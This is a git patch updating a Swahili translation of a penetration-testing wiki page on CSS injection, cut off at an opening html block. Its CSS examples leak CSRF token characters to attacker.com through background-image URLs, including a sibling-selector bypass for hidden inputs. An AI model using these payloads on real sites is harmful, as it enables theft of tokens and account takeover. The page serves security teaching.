From 1cf509570136cd8bb08148702dd010ef2f1bfe70 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 29 Aug 2025 00:18:10 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md'] --- .../xs-search/css-injection/README.md | 254 ++++++++++-------- 1 file changed, 148 insertions(+), 106 deletions(-) diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 803f176f3..cb79f8b29 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -6,7 +6,7 @@ ### Attribute Selector -CSS selectors zimeundwa ili kuendana na thamani za `input` element's `name` na `value` attributes. Ikiwa attribute ya thamani ya kipengele cha input inaanza na herufi maalum, rasilimali ya nje iliyowekwa awali inaloadiwa: +CSS selectors zimeundwa ili zifananishe thamani za sifa `name` na `value` za kipengee cha `input`. Ikiwa sifa ya `value` ya elementi ya `input` inaanza na alama maalum, rasilimali ya nje iliyotanguliwa itapakiwa: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Hata hivyo, mbinu hii inakabiliwa na kikomo wakati wa kushughulikia vipengele vya ingizo vilivyofichwa (`type="hidden"`) kwa sababu vipengele vilivyofichwa havipakui mandharinyuma. +Hata hivyo, mbinu hii inakutana na kizuizi linapohusika na elementi za input zilizofichwa (`type="hidden"`) kwa sababu elementi zilizofichwa hazipaki backgrounds. -#### Kuepuka kwa Vipengele Vilivyofichwa +#### Bypass kwa Elementi Zilizofichwa -Ili kuzunguka kikomo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia mchanganyiko wa ndugu wa jumla `~`. Sheria ya CSS kisha inatumika kwa ndugu wote wanaofuata kipengele cha ingizo kilichofichwa, na kusababisha picha ya mandharinyuma kupakuliwa: +Ili kuepuka kizuizi hiki, unaweza kulenga elementi ya sibling inayofuata kwa kutumia `~` general sibling combinator. Kisha sheria ya CSS itumike kwa siblings wote wanaofuata elementi ya input iliyofichwa, na kusababisha picha ya background kupakia: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -Mfano wa vitendo wa kutumia mbinu hii umeelezwa katika kipande cha msimbo kilichotolewa. Unaweza kukiona [hapa](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +Mfano wa vitendo wa kutumia mbinu hii umefafanuliwa kwa undani katika kipande cha msimbo kilichotolewa. Unaweza kuiona [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). -#### Masharti ya Msingi kwa CSS Injection +#### Mahitaji ya CSS Injection -Ili mbinu ya CSS Injection iwe na ufanisi, masharti fulani lazima yatekelezwe: +Ili mbinu ya CSS Injection iwe na ufanisi, masharti fulani yanapaswa kutimizwa: -1. **Urefu wa Payload**: Kichocheo cha CSS injection lazima kiwe na uwezo wa kubeba payloads ndefu za kutosha ili kuzingatia wachaguo walioundwa. -2. **Upya wa CSS**: Unapaswa kuwa na uwezo wa kuunda sura ya ukurasa, ambayo ni muhimu ili kuanzisha upya wa CSS na payloads mpya zilizoundwa. -3. **Rasilimali za Nje**: Mbinu hii inadhani uwezo wa kutumia picha zinazohifadhiwa nje. Hii inaweza kuwa na vizuizi na Sera ya Usalama wa Maudhui (CSP) ya tovuti. +1. **Payload Length**: vektori ya CSS injection inapaswa kuunga mkono payloads za urefu wa kutosha ili kuweza kubeba selectors zilizotengenezwa. +2. **CSS Re-evaluation**: Unapaswa kuwa na uwezo wa kuweka ukurasa ndani ya iframe, jambo muhimu ili kusababisha CSS itathminwe upya kwa payloads mpya zilizotengenezwa. +3. **External Resources**: Mbinu hii inategemea uwezo wa kutumia picha zilizohostwa kwa nje. Hii inaweza kuzuiliwa na Content Security Policy (CSP) ya tovuti. -### Kichaguo cha Sifa za Kijinga +### Blind Attribute Selector -Kama [**ilivyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), inawezekana kuunganisha wachaguo **`:has`** na **`:not`** ili kubaini maudhui hata kutoka kwa vipengele vya kijinga. Hii ni muhimu sana unapokuwa huna wazo lolote kuhusu kilichomo ndani ya ukurasa wa wavuti unaopakia CSS injection.\ -Pia inawezekana kutumia wachaguo hao kutoa taarifa kutoka kwa vizuizi kadhaa vya aina moja kama ilivyo: +As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. Hii ni muhimu sana unapokuwa huna wazo lolote kuhusu kile kilicho ndani ya ukurasa wa wavuti unaopakia CSS injection.\ +Pia inawezekana kutumia selectors hizo kuchukua taarifa kutoka kwa vibloki kadhaa vya aina ile ile kama ilivyo katika: ```html